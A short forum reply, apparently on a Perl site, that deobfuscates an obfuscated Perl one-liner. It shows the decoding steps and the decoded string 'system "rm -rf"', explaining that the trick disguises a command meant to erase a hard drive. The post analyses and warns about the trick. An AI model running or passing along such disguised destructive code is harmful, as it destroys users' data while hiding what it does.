Re: rm -rf /

The net effect of this is to attempt to delete everything on your hard drive by running system "rm -rf /".

# 0 ? s/.../... : s/.../.../;
$_ = "=]=>%-{<-|}<&|`{";

# y[\x20-\x2f\x3a-\x40\x5b-\x60\x7b-\x7d]
#  [`abcdefghijklmnopqrstuvwxyz{/" -];
$_ = 'system "rm -rf"';

eval; # /ee

Yes, thats what my title says: rm -rf / Hence the warning message too. I too had to wrap it with several eval blocks to decode the one-liner, but your approach was much nicer.	[reply]
